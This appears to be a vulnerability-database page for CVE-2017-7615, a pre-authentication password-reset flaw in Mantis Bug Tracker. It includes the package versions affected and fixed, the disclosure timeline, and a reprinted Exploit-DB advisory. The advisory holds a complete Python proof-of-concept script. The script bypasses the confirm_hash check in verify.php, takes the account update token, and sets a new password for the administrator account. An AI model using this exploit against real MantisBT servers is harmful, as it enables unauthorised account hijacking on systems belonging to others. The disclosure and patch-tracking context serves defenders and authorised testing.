CVE-2017-7615

high
Published 2017-04-16 ยท Modified 2025-04-22
CVSS v3
8.8
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
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not yet in upstream
VIR risk
9.8

Description

MantisBT allows arbitrary password reset

Predictions

Exploit likelihood
92%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-41890 webapps php verified text ยท 4 KB
hyp3rlinx ยท 2017-04-16

Mantis Bug Tracker 1.3.0/2.3.0 - Password Reset

text exploit Source: Exploit-DB
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
[+] ISR: ApparitionSec            
 


Vendor:
================
www.mantisbt.org



Product:
==================
Mantis Bug Tracker
v1.3.0 / 2.3.0

MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.


Vulnerability Type:
===============================
Pre-Auth Remote Password Reset



CVE Reference:
==============
CVE-2017-7615



Security Issue:
================
Mantis account verification page 'verify.php' allows resetting ANY user's password.
Remote un-authenticated attackers can send HTTP GET requests to Hijack ANY Mantis accounts by guessing the ID / username.

Vulnerable code:

In verify.php line 66:

if( $f_confirm_hash != $t_token_confirm_hash ) {
	
trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );

}

This code attempts to verify a user account and compares hashes for a user request.
However, by supplying empty value we easily bypass the security check.

e.g.

http://127.0.0.1/mantisbt-2.3.0/verify.php?id=1&confirm_hash=

This will then allow you to change passwords and hijack ANY mantisbt accounts.

All version >= 1.3.0 as well as 2.3.0 are affected, 1.2.x versions are not affected.


References:
============
https://mantisbt.org/bugs/view.php?id=22690#c56509



POC Video URL:
==============
https://vimeo.com/213144905



Exploit/POC:
=============
import cookielib,urllib,urllib2,time

print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0'
print '1.2.x versions are not affected'
print 'Remote Password Reset 0day Exploit'
print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n'

IP=raw_input("[Mantis Victim IP]>")
realname=raw_input("[Username]")
verify_user_id=raw_input("[User ID]")
passwd=raw_input("[New Password]")

TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash='

values={}
account_update_token=''
#verify_user_id='1'          #Admin  = 1
#realname='administrator'    #Must be known or guessed.


#REQUEST 1, get Mantis account_update_token 
cookies = cookielib.CookieJar()

opener = urllib2.build_opener(
    urllib2.HTTPRedirectHandler(),
    urllib2.HTTPHandler(debuglevel=0),
    urllib2.HTTPSHandler(debuglevel=0),
    urllib2.HTTPCookieProcessor(cookies))

res = opener.open(TARGET)

arr=res.readlines()
for s in arr:
        if 'account_update_token' in s:
                break


#print s[61:-38]
ACCT_TOKEN=s[61:-38]

time.sleep(0.3)

#REQUEST 2 Hijack the Admin Account
TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php'
values = {'verify_user_id' : '1',
        'account_update_token' : ACCT_TOKEN,
        'realname' : realname,
        'password' : passwd,
        'password_confirm' : passwd}
  
data = urllib.urlencode(values)

opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
urllib2.HTTPSHandler(debuglevel=0),
urllib2.HTTPCookieProcessor(cookies))

response = opener.open(TARGET, data)
the_page = response.read()
http_headers = response.info()

#print http_headers
print response.getcode()
print 'Account Hijacked!'
time.sleep(2)




Network Access:
===============
Remote




Severity:
=========
Critical



Disclosure Timeline:
=============================
Vendor Notification: April 7, 2017
Vendor acknowledged: April 7, 2017
Vendor patch created: April 10, 2017
Vendor Disclosure: April 16, 2017
April 16, 2017  : Public Disclosure



[+] Disclaimer
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Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
EDB-48818 webapps php
Nikolas Geiselman ยท 2020-09-18

Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)

Source code queued for fetch โ€” refresh in a moment.

Metasploit modules

MantisBT password reset
Source fetch failed: fetch_error โ€” view the original via the link above.

Package impact

EcosystemPackageVulnerableFixed
php Packagistmantisbt/mantisbt>=1.3.0-rc.2,<1.3.101.3.10
php Packagistmantisbt/mantisbt>=2.0.0,<2.2.42.2.4
php Packagistmantisbt/mantisbt>=2.3.0,<2.3.12.3.1

Application impact

VendorProductVersionsFixed
mantisbtmantisbt{"endIncluding":"2.3.0"}

References

CWEs

CWE-640

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.